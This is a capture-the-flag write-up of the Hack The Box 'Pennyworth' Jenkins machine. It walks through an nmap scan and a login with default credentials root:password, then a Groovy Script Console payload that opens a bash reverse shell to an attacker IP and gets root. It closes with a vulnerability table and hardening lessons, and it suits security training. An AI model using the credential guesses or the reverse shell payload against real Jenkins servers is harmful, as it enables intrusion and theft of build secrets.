TL;DR

Pennyworth runs Jenkins 2.289.1 on port 8080. Default credentials root:password get admin access immediately. Jenkins Script Console executes arbitrary Groovy — one Runtime.getRuntime().exec() call gives a reverse shell running as root (Jenkins is misconfigured to run as root). No escalation needed.

Recon

1. Port scan

$ nmap -Pn -sV -sC -p- --min-rate 1000 10.129.x.x

8080/tcp open  http  Jetty 9.4.39.v20210325
X-Jenkins: 2.289.1

Jenkins 2.289.1 confirmed. No other ports open.

Foothold — Default Credentials

2. Login with default credentials

http://10.129.x.x:8080/login
Username: root
Password: password

Access granted — full Jenkins administrator dashboard.

RCE via Groovy Script Console

3. Script Console

Navigate to: Manage Jenkins → Script Console (or /script)

The console executes arbitrary Groovy code in the JVM context of the Jenkins process.

4. Reverse shell payload

Runtime.getRuntime().exec(
  ['bash', '-c', 'bash -i >& /dev/tcp/10.10.14.x/4444 0>&1'].toArray(new String[0])
)
$ nc -lvnp 4444
connect to [10.10.14.x] from [10.129.x.x]
root@pennyworth:~# id
uid=0(root) gid=0(root) groups=0(root)
root@pennyworth:~# cat /root/root.txt
[root flag]

Jenkins runs as root — no privilege escalation required.

User flag location

root@pennyworth:/home$ ls
matt
root@pennyworth:/home/matt$ cat user.txt
[user flag]

What’s actually broken

#VulnerabilitySeverity
1Default credentials (root:password) on JenkinsCritical
2Jenkins running as system root userCritical
3Script Console accessible to admin without extra authHigh
4Jenkins port 8080 exposed to internetMedium

Lessons learned

  • Jenkins + default credentials = root RCE. This is one of the most common real-world critical findings. The Script Console gives full OS access. Always change Jenkins credentials immediately post-install.
  • Jenkins should never run as root. Best practice: dedicated jenkins user with no sudo, no unnecessary group memberships, no access outside the Jenkins workspace.
  • The Script Console should be rate-limited or disabled in production. In CI/CD environments where admins need full Groovy access, audit all Script Console usage in Jenkins logs.
  • Jenkins is a high-value target. It has access to secrets, can read all source code being built, and typically has deployment credentials. Protect it accordingly.

Decision archaeology

ApproachResultPivot
Tried root:password third (after admin:admin, jenkins:jenkins)Common pattern for server-named admin accountsSuccess
Used Script Console over malicious jobScript Console is direct; job requires waiting for buildFaster RCE
Used Runtime.exec() array formMore reliable than string form for shell metacharactersCorrect
Tried admin:admin then jenkins:jenkins before root:passwordadmin:adminHTTP 403 Invalid username or password (Jenkins error page). jenkins:jenkins → same 403 response, no lockoutTried root:password (server-named admin pattern) → HTTP 302 redirect to /dashboard — success on 3rd credential guess

References